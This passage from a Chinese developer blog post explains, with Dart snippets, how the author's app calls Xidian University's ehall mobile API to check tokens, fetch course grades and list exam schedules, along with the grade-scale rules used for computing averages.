class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.QXKBCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;全校课表查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.XSPJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学生评教\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.DLFLSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;大类分流申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.ZZYSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;转专业申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;TC.TCCJLR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;体测成绩录入\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.DDPJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;督导评教\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.FXSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;辅修申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.PJBG\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;评教报告\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.WDPJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;过程性评教\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;TC.TCCJCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;体测成绩查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.CJRDSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;成绩认定审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.GRPJZHTJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;个人评教综合统计\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在你 POST 之后,如果鉴权成功,则会返回一个空的 body 。没看错,是空的 body,为了这玩意我折腾了大约三分钟来写判断代码。如果返回了一个 json body,然后其中的 code 是 401,那就需要重新获取 token 了。基本上,重新获取就是重新走遍登录流程()\u003c/p\u003e\n\u003cp\u003e最后需要说明的是,我不知道这个步骤是否是必须的,也许不走这个步骤也能获取到数据。但是这个步骤目前是我所知能够最好判断 token 刷新的途径了。应该他们的前端也是这么实现的。\u003c/p\u003e\n\u003ch3 id=\"成绩获取\"\u003e成绩获取\u003c/h3\u003e\n\u003cp\u003e上集说过如何先“进入”一个程序吧,接下来我们需要获取数据并处理数据。不得不说,这个接口传递的方式很简单,获取的数据也是足够的干净。\u003c/p\u003e\n\u003cp\u003e首先是如何获取,很简单,给这个地方 POST 个数据就好:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003egetData\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/score/termScore\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;termCode\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;*\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中注意到 data,是传递的学期信息,格式类似 \u003ccode\u003e2023-2024-1\u003c/code\u003e ,代表2023年到2024年第一学期。星号代表所有学期的所有信息。\u003c/p\u003e\n\u003cp\u003e回复的信息中,如果 code 不是 200 ,不用想,肯定有问题。所以接下来就给大家看看具体信息长啥样\u003c/p\u003e\n\u003cp\u003e根据这个信息,我们就可以处理简单的展示了,接下来我们需要进一步处理数据。\u003c/p\u003e\n\u003cp\u003e我的程序是可以计算均分的,这里需要引入对成绩构成的定义:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e百分制度,0-100 给分数\u003c/li\u003e\n\u003cli\u003e五级赋分制,给优秀(95)、良好(85)、中等(75)、及格(65)、不及格(0)\u003c/li\u003e\n\u003cli\u003e三级赋分制,给优秀(95)、通过(75)、不通过(0)\u003c/li\u003e\n\u003cli\u003e二级赋分制,给通过(75)、不通过(0),注意不计算 GPA (八成给数据也是 0 学分)\u003c/li\u003e\n\u003cli\u003e免修计算为 85 分\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e据说还有两级赋分制,不过那些课是不计算 GPA 的,所以到时候再看。\u003c/p\u003e\n\u003cp\u003e那么,我们要计算均分,需要知道成绩信息里面的成绩字符串。这个成绩字符串可以是纯数字,也可以是上面提到的字符串。在计算均分的时候,我们需要转换这些字符串,这不难。而且我发现,GPA 和分数是紧密相关的。\u003c/p\u003e\n\u003ch3 id=\"考试信息获取\"\u003e考试信息获取\u003c/h3\u003e\n\u003cp\u003e这是我觉得这个接口最好的一点:数据结构十分清晰。接下来我将体现这一点。\u003c/p\u003e\n\u003cp\u003e如何进入考试应用请看上集提到的东西,代号是:\u003ccode\u003eKW.KSAPCX\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e进入课程信息后,我们需要获取学期信息。这个学期信息我觉得是非常优秀的,因为返回数据中有一个布尔值,表示是否为当前学期。我的代码中有一段代码,如果接口无法访问,就使用我程序缓存的目前学期的代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Choose the first period...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003edeveloper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Seek for the semesters.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Jiaowu getExam\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/examTask/termList\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;currentFlag\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;termCode\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003epreference\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epreference\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePreference\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecurrentSemester\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取到当前学期信息后,我们就可以搞考试信息了。这个接口和一站式的接口,最大的区别是没有老师的信息。我觉得这个不是大问题,因为每次考场都会写上老师的名字。而且我们考试前都去上课记老师名字吧233\n考试信息结构体如代码中 Subject 里面指出的那样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// If failed, it is more likely that no exam has arranged.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003edeveloper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;My exam arrangemet \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esemester\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Jiaowu getExam\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSubject\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eexamData\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/examTask/listStuExamPlan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;?termCode=\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esemester\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;code\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"m\"\u003e200\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eGetExamFailedException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan 